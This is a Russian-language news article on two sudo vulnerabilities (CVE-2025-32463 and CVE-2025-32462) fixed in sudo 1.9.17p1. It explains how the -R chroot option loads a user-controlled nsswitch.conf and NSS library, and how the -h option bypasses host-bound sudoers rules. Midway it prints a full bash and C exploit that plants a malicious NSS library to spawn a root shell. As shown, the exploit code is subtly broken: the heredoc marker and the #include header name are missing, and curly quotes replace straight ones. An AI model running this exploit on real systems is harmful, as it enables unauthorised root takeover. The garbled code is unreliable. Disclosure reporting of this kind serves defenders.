Уязвимости в утилите Sudo, позволяющие получить права Root в системе

В пакете sudo, применяемом для организации выполнения команд от имени других пользователей, выявлена уязвимость (CVE-2025-32463), позволяющая любому непривилегированному пользователю выполнить код с правами root, даже если пользователь не упомянут в конфигурации sudoers. Проблеме подвержены дистрибутивы, использующие файл конфигурации /etc/nsswitch.conf, например, возможность эксплуатации уязвимости продемонстрирована в Ubuntu 24.04 и Fedora 41.

Уязвимость проявляется в конфигурации по умолчанию и подтверждена в выпусках sudo с 1.9.14 по 1.9.17 (потенциально затрагивает все версии, начиная с 1.8.33). Проблема устранена в обновлении sudo 1.9.17p1. Проверить состояние новой версии пакета или подготовки исправления в дистрибутивах можно на следующих страницах (если страница недоступна, значит разработчики дистрибутива ещё не приступили к рассмотрению проблемы): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo и Arch (1, 2).

Проблема вызвана тем, что при применении опции “-R” (“–chroot”) для запуска команд в chroot-окружении с выбранным пользователем корневым каталогом, файл /etc/nsswitch.conf загружался в контексте нового корневого каталога, а не системного каталога. Так как пользователь может использовать в качестве корневого каталога для chroot собственный каталог, он может разместить в нём файл конфигурации nsswitch.conf. Контролируя загружаемый подсистемой NSS (Name Service Switch) файл /etc/nsswitch.conf, пользователь может добавить в него настройки, приводящие к вызову дополнительных обработчиков. Подобные обработчики загружаются NSS в форме разделяемых библиотек, которые также можно разместить в подконтрольном пользователю каталоге. Подставив свою библиотеку пользователь может добиться выполнения из неё кода с правами root, так как обработка NSS производится до сброса привилегий.

Пример эксплоита:

#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c
#include
__attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(“/”); execl(“/bin/bash”, “/bin/bash”, NULL);
}
EOF
mkdir -p woot/etc libnss_
echo “passwd: /woot1337”> woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo “woot!”
sudo -R woot woot
rm -rf ${STAGE?}

В версии sudo 1.9.17p1 также устранена ещё одна уязвимость (CVE-2025-32462), позволяющая выполнить команды с правами root, но проявляющаяся только в конфигурациях sudoers, параметр “host” в которых выставлен в значение, отличное от ALL или имени текущего хоста. Уязвимость вызвана ошибкой, из-за которой опция “-h” (“–host”) действовала не только в сочетании с опцией “-l” (“–list”) для вывода привязанных к хосту привилегий, но и при запуске команд. Таким образом пользователь мог указать при вызове sudo любой хост и обойти ограничения правил sudoers, привязанных к имени хоста.

Для совершения атаки пользователь должен упоминаться в sudoers, например, если в настройках указано “testuser testhost = ALL”, то пользователь “testuser” мог указать “sudo -h testhost” и запустить команды с правами root на любых хостах, а не только на хосте testhost. Уязвимости не подвержены конфигурации с настройками вида “testuser ALL = ALL” или без явных правил для конкретного пользователя.

Release. Ссылка here.